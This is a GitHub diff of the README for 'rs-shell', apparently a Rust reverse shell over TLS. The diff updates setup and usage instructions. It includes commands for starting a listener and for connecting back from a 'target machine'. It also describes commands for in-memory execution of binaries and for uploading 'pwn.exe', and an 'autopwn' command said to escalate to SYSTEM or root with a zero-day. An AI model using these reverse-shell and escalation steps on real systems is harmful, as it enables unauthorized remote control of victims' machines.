You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.md
+26-18Lines changed: 26 additions & 18 deletions
Original file line number
Diff line number
Diff line change
@@ -31,17 +31,22 @@ For the moment, the following features are present:
31
31
32
32
### Setup
33
33
34
-
First of all, the full path of your TLS certificate and its password must be configured in the file `server.rs` in place of the tags `[CERTFICATE_PATH]` and `[CERTIFICATE_PASSWORD]`.
35
-
36
-
Additionally, I have set a `dummy` domain for hostname validation in the `connect()` function for both clients. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
34
+
I have set a `dummy` domain for hostname validation in the `connect()` function for both clients. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
37
35
38
36
By default, only the `error`, `warn` and `info` logs are displayed. If you also need the `debug` ones (can be usefull for the loading features), you can change this in `main.rs` by modifying `::log::set_max_level(LevelFilter::Info);` to `::log::set_max_level(LevelFilter::Debug);`.
39
37
38
+
A new self-signed TLS certificate can be obtained like this :
The project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`.
47
+
The project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`, or the target name if a target is specified.
43
48
44
-
Tu compile for a different target than your current OS you can use`cargo build --release --target x86_64-unknown-linux-gnu`.
49
+
Tu compile for a different target than your current OS you can use, for example, `cargo build --release --target x86_64-unknown-linux-gnu` (be sure to use the appropriate toolchain and to have all the required dependencies).
45
50
46
51
The project compilation has been tested with the following Rust toolchains :
47
52
@@ -55,20 +60,23 @@ Should run on all Windows and Linux versions (I have hope).
55
60
### Usage
56
61
57
62
```plain
58
-
Usage : shell.exe [l | c] IP port
59
-
60
-
l launch the listener application
61
-
c launch the client application
62
-
63
-
IP IP address to bind to for the listener, or to connect to for the client
64
-
port port address to bind to for the listener, or to connect to for the client
65
-
66
-
In a session, type 'help' for advanced integrated commands
-s, --side <side> launch the client or the listener [possible values: c, l]
67
+
-i, --ip <ip> IP address to bind to for the listener, or to connect to for the clien
68
+
-p, --port <port> port address to bind to for the listener, or to connect to for the client
69
+
--cert-path <cert_path> path of the TLS certificate (in PFX or PKCS12 format) for the server
70
+
--cert-pass <cert_pass> password of the TLS certificate for the server
71
+
-h, --help Print help
72
+
-V, --version Print version
73
+
74
+
In a session, type 'help' for advanced integrated commands
67
75
```
68
76
69
-
To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe l IP_to_bind_to port_to_bind_to`. For example `rs-shell.exe l 0.0.0.0 4545`.
77
+
To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"`.
70
78
71
-
Then, on the target machine launch the client to connect back to your server with `rs-shell.exe c IP_to_connect_to port_to_connect_to`. For example `rs-shell.exe c 192.168.1.10 4545`.
79
+
Then, on the target machine launch the client to connect back to your server with `rs-shell.exe -s c -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.
72
80
73
81
### Advanced commands
74
82
@@ -96,7 +104,7 @@ Then, on the target machine launch the client to connect back to your server wit
96
104
97
105
[+] Special commands
98
106
> autopwn
99
-
escalate to the SYSTEM account from any local account by exploiting a zero day
107
+
escalate to the SYSTEM or root account from any local account by exploiting a zero day
100
108
```
101
109
102
110
The `load` commands permit to load and execute directly in memory:
@@ -113,7 +121,7 @@ For example : `> load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.ex
113
121
114
122
`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`.
115
123
116
-
`autopwn` permits to escalate to the **SYSTEM account** with a 0day exploitation. Just type `autopwn` and answer the question.
124
+
`autopwn` permits to escalate to the **SYSTEM or root account** with a 0day exploitation. Just type `autopwn` and answer the question.
0 commit comments